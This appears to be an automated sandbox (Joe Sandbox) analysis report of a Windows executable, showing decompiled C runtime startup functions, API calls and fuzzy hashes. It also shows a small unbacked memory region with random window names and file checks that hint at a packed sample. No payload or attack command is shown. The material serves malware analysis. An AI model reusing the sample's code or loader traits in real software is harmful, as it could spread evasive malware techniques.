				_t22 = L00427A90(_t46); // executed
				if(_t22 == 0) {
					E0041C830(0x10);
					_t61 = _t61 + 4;
				}
				_push(1);
				E0041EFC0(_t46);
				_t62 = _t61 + 4;
				E00427840();
				 *((intOrPtr*)(_t58 - 4)) = 1;
				_t25 = E00424B50(); // executed
				if(_t25 < 0) {
					L004236D0(_t44, _t46, _t54, _t56, 0x1b);
					_t62 = _t62 + 4;
				}
				 *0x44f000 = E00427830();
				 *0x44d28c = E00427780(_t44, _t54, _t56);
				if(E00427390() < 0) {
					L004236D0(_t44, _t46, _t54, _t56, 8);
					_t62 = _t62 + 4; // executed
				}
				_t29 = E004271F0(_t44, _t54, _t56); // executed
				if(_t29 < 0) {
					L004236D0(_t44, _t46, _t54, _t56, 9);
					_t62 = _t62 + 4;
				}
				_t30 = E004235B0(_t46, 1); // executed
				 *((intOrPtr*)(_t58 - 0x64)) = _t30;
				if( *((intOrPtr*)(_t58 - 0x64)) != 0) {
					L004236D0(_t44,  *((intOrPtr*)(_t58 - 0x64)), _t54, _t56,  *((intOrPtr*)(_t58 - 0x64)));
				}
				 *((intOrPtr*)(_t58 - 0x68)) = E00427150();
				if(( *(_t58 - 0x34) & 0x00000001) == 0) {
					 *(_t58 - 0x7c) = 0xa;
				} else {
					 *(_t58 - 0x7c) =  *(_t58 - 0x30) & 0x0000ffff;
				}
				 *((intOrPtr*)(_t58 - 0x70)) = E0041AFB0(_t44,  *((intOrPtr*)(_t58 - 0x68)), 0x400000, 0,  *((intOrPtr*)(_t58 - 0x68)),  *(_t58 - 0x7c));
				if( *((intOrPtr*)(_t58 - 0x6c)) == 0) {
					E00423650( *((intOrPtr*)(_t58 - 0x70)));
				}
				E00423690();
				 *((intOrPtr*)(_t58 - 4)) = 0xfffffffe;
				_t34 =  *((intOrPtr*)(_t58 - 0x70));
				 *[fs:0x0] =  *((intOrPtr*)(_t58 - 0x10));
				return _t34;
			}

0x0041c6c5
0x0041c6d1
0x0041c6d6
0x0041c6db
0x0041c6e0
0x0041c6e4
0x0041c6e9
0x0041c6e9
0x0041c6ec
0x0041c6f3
0x0041c6f7
0x0041c6fc
0x0041c6fc
0x0041c6ff
0x0041c701
0x0041c706
0x0041c709
0x0041c70e
0x0041c715
0x0041c71c
0x0041c720
0x0041c725
0x0041c725
0x0041c72d
0x0041c737
0x0041c743
0x0041c747
0x0041c74c
0x0041c74c
0x0041c74f
0x0041c756
0x0041c75a
0x0041c75f
0x0041c75f
0x0041c764
0x0041c76c
0x0041c773
0x0041c779
0x0041c77e
0x0041c786
0x0041c78f
0x0041c79a
0x0041c791
0x0041c795
0x0041c795
0x0041c7b5
0x0041c7bc
0x0041c7c2
0x0041c7c2
0x0041c7c7
0x0041c7cc
0x0041c814
0x0041c81a
0x0041c828

APIs

_check_managed_app.LIBCMTD ref: 0041C6CC
__heap_init.LIBCMTD ref: 0041C6D6

Part of subcall function 00428180: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,0041C6DB,00000001), ref: 00428196

_fast_error_exit.LIBCMTD ref: 0041C6E4

Part of subcall function 0041C830: ___crtExitProcess.LIBCMTD ref: 0041C854

_fast_error_exit.LIBCMTD ref: 0041C6F7
__RTC_Initialize.LIBCMTD ref: 0041C709
___crtGetEnvironmentStringsW.LIBCMTD ref: 0041C732
___wsetargv.LIBCMTD ref: 0041C73C
__wsetenvp.LIBCMTD ref: 0041C74F
__cinit.LIBCMTD ref: 0041C764
__wwincmdln.LIBCMTD ref: 0041C781

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ___crt_fast_error_exit$CreateEnvironmentExitHeapInitializeProcessStrings___wsetargv__cinit__heap_init__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3184702096-0
Opcode ID: 051a2a378b247af74cfa3c5bc1b9092f9b169164d1513912dcde64c23257ff32
Instruction ID: 717684a743d8660264cde8e4508942548bc826b47cdc5eea0cfe7cfbda18a436
Opcode Fuzzy Hash: 051a2a378b247af74cfa3c5bc1b9092f9b169164d1513912dcde64c23257ff32
Instruction Fuzzy Hash: 453190B5E403199AEB10BBF2BC4679E72B0AB4031DF10012EE91957282EB7D9541CA9A

Uniqueness

Uniqueness Score: -1.00%

Function 00424B50, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E00424B50() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				intOrPtr _t171;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				int _t210;
				int _t218;
				int _t275;
				int _t292;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x43aaa8);
				_push(E00422650);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x43d480; // 0xa91b5158
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L0041D0B0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x44dec0 = _v128;
					 *0x44deb8 = 0x20;
					while(1) {
						_t171 =  *0x44dec0; // 0x580808
						if(_v128 >= _t171 + 0x800) {
							break;
						}
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x44dec0;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E00430DE0( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						_t275 =  *0x44deb8; // 0x20
						SetHandleCount(_t275);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while(1) {
							_t292 =  *0x44deb8; // 0x20
							if(_t292 >= _v116) {
								break;
							}
							_t209 = L0041D0B0(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x44dec0 + _v104 * 4)) = _v128;
								_t210 =  *0x44deb8; // 0x20
								 *0x44deb8 = _t210 + 0x20;
								while(_v128 <  *((intOrPtr*)(0x44dec0 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_t218 =  *0x44deb8; // 0x20
								_v116 = _t218;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x44dec0 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E00430DE0( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00424b55
0x00424b57
0x00424b5c
0x00424b67
0x00424b68
0x00424b6e
0x00424b73
0x00424b78
0x00424b7c
0x00424b82
0x00424b85
0x00424b90
0x00424b96
0x00424bdb
0x00424be0
0x00424be3
0x00424bea
0x00424bf7
0x00424bfd
0x00424c12
0x00424c12
0x00424c1f
0x00000000
0x00000000
0x00424c24
0x00424c2b
0x00424c34
0x00424c3b
0x00424c4d
0x00424c5b
0x00424c61
0x00424c68
0x00424c6f
0x00424c79
0x00424c0f
0x00424c0f
0x00424c85
0x00424e83
0x00424e83
0x00424e95
0x00424eab
0x00424eb4
0x00424ec5
0x00424ecd
0x00424ee3
0x00424ee8
0x00424ecf
0x00424ecf
0x00424ecf
0x00424efb
0x00424f02
0x00424f99
0x00424fa6
0x00424fac
0x00000000
0x00424f12
0x00424f1c
0x00424f23
0x00000000
0x00424f25
0x00424f2b
0x00424f39
0x00424f59
0x00424f68
0x00424f68
0x00424f3b
0x00424f48
0x00424f48
0x00424f77
0x00424f7c
0x00424f81
0x00424f94
0x00424fb2
0x00000000
0x00424f83
0x00424f83
0x00424f83
0x00424f81
0x00424f23
0x00424fb4
0x00424fc3
0x00424fc6
0x00424e92
0x00000000
0x00424e92
0x00000000
0x00424eb4
0x00424fcb
0x00424fd2
0x00424fd8
0x00424c95
0x00424c9a
0x00424ca3
0x00424cac
0x00424cb6
0x00424cc3
0x00424cb8
0x00424cbb
0x00424cbb
0x00424cd3
0x00424cd6
0x00424ce8
0x00424ce8
0x00424cf1
0x00000000
0x00000000
0x00424d07
0x00424d0c
0x00424d0f
0x00424d16
0x00424d2b
0x00424d32
0x00424d3a
0x00424d4a
0x00424d61
0x00424d68
0x00424d71
0x00424d78
0x00424d8a
0x00424d90
0x00424d97
0x00424d9e
0x00424da8
0x00424d47
0x00424d47
0x00424ce5
0x00000000
0x00424d18
0x00424d18
0x00424d1d
0x00424d1d
0x00000000
0x00424d16
0x00424db3
0x00424dd7
0x00424de9
0x00424e7e
0x00424dc2
0x00424dcb
0x00424dd4
0x00000000
0x00424e21
0x00424e37
0x00424e42
0x00424e4c
0x00424e5b
0x00424e60
0x00424e65
0x00424e7b
0x00000000
0x00424e67
0x00424e67
0x00424e67
0x00424e65
0x00000000
0x00424de9
0x00000000
0x00424dd7
0x00424bec
0x00424bec
0x00424bec
0x00424fda
0x00424fdd
0x00424feb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00424B90
GetFileType.KERNEL32(?), ref: 00424E17

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 00424BD0, 00424CFC

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: bd099430d470865d9a2fa62267ef9cfc2362cb5fb2fa732f4e9b054d48321b98
Instruction ID: 8db9913a1ec65001a3a791c554cc983a231509ac9535120f9d93dbfa1dcb26f2
Opcode Fuzzy Hash: bd099430d470865d9a2fa62267ef9cfc2362cb5fb2fa732f4e9b054d48321b98
Instruction Fuzzy Hash: F1E11874E04258CFDB24CFA8D894B9DBBB1FB89314F64825ED4656B392C7349842CF49

Uniqueness

Uniqueness Score: -1.00%

Function 00540420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00540533

Strings

mfoaskdfnoa, xrefs: 00540520, 00540523
saodkfnosa9uin, xrefs: 005404DA
0, xrefs: 00540492
d, xrefs: 00540584

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 14c301c4100ab25b2b6e9843a01134393069d371a06f26d66fb5ef35e5d92293
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D1511870D08388DAEB11CBE8C849BDDBFB2AF15708F244058D5447F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041CFEE, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invalid_parameter.LIBCMTD ref: 0041D04D
_memset.LIBCMT ref: 0041D099

Strings

(_HEAP_MAXREQ / nNum) >= nSize, xrefs: 0041D005, 0041D048
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041D011, 0041D03E
_calloc_dbg_impl, xrefs: 0041D043

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __invalid_parameter_memset
String ID: (_HEAP_MAXREQ / nNum) >= nSize$_calloc_dbg_impl$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3961059608-1805389939
Opcode ID: e6cd7885a6b10bc013ee710e7acd5744699bde64407b37d1d84b2def84e6bca4
Instruction ID: 0d25261813ee7246515ac120eb783ce63d1e37a1ed38e65f10c60aaf9703849c
Opcode Fuzzy Hash: e6cd7885a6b10bc013ee710e7acd5744699bde64407b37d1d84b2def84e6bca4
Instruction Fuzzy Hash: B511CBB5A40208BBDB14DF54DD46FDE37A5AB58708F10815AFA0CAB2C1D678DA81C758

Uniqueness

Uniqueness Score: -1.00%

Function 005405B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005405EC

Strings

o, xrefs: 00540600
apfHQ, xrefs: 005405E2, 005405E5

Memory Dump Source

Source File: 00000000.00000002.660280904.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_7NAzyCWRyM.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: fdeafc9fd1666285ab03c3717686921e8d14afc21d2fb3c05ce19df5b74c5218
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: A6011E70C0424CEADF14DB98C5183EEBFB5AF41308F248099C5492B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0041CBDF, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 0041CBD9

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: fe9c8ce137196ebde2ec491dad4197b008032d3cec12e8c1fd234f935da03906
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 4C011DB5A44109EBDB14DF94ED81BDB73B8AB48304F10855AFC0987241E738EE91DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00427970, Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMTD ref: 00427977

Part of subcall function 004278A0: TlsGetValue.KERNEL32(00000001), ref: 004278B5
Part of subcall function 004278A0: TlsGetValue.KERNEL32(00000001,00000001), ref: 004278D6
Part of subcall function 004278A0: __crt_wait_module_handle.LIBCMTD ref: 004278EC
Part of subcall function 004278A0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00427906
Part of subcall function 004278A0: RtlEncodePointer.NTDLL(?), ref: 00427927

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: 029e13a4d7c41795811b654446108179607886045015fbcc7d0eded7a438fd79
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: 73A0126294820823E10030833807B02350C47C0638E880021F50C051423842A4108097

Uniqueness

Uniqueness Score: -1.00%

Function 0041C630, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 0041C635

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 8c5c2b0498bbe958a35eb3e6e2283eab7a2ca0f8f8a32ad51933e42e701851ff
Instruction ID: 77fd4e49470debc7ea4e9534ef506fb391fdb8519ca697a345473cd368416dd2
Opcode Fuzzy Hash: 8c5c2b0498bbe958a35eb3e6e2283eab7a2ca0f8f8a32ad51933e42e701851ff
Instruction Fuzzy Hash: 49A0023555469816115037AB584795BB54E48D07587E7101A755C021035D5CE85140EE

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD2F, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 0041AD37

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 85e14af0cd32290834f9f8382b9fdb8d9444bdaed3f94fa2c4f007d564a48e30
Instruction ID: f1e0692bb1fc47d7280194808a3fe012f5d2c9392ca844d87eb7ddb10c6308c7
Opcode Fuzzy Hash: 85e14af0cd32290834f9f8382b9fdb8d9444bdaed3f94fa2c4f007d564a48e30
Instruction Fuzzy Hash: 06B012B84013008BDF001F71AD047003AA0B30F302F0040B0E21191270C7714000BF08

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD30, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000), ref: 0041AD37

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 5ae0e33382265d15a66d1e9da7afc230eba20b50ac11918d5cdb12de264035be
Instruction ID: 3937a0ea0b94eeaa8a29dfb69c76498ed3aba0aed3f204a3310d8564fb76ca85
Opcode Fuzzy Hash: 5ae0e33382265d15a66d1e9da7afc230eba20b50ac11918d5cdb12de264035be
Instruction Fuzzy Hash: E9B011B88203008AEB002B32AE083023AA0A30A302F0080B2E202E22A0CBB08000AE08

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0042E092, Relevance: 109.0, APIs: 37, Strings: 25, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042E092() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0x43de54) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L0041F530(_t245));
						 *(L0041F530(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E0041BB60(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041EF00( *(L0041F530(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L0041F530(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E0041FA00(E0042ECE0(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E0041FA00(E0042ECE0(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E0041FA00(E004360D0(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0x43de58 +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E0041FA00(E004360D0(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E0041FA00(E004360D0(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
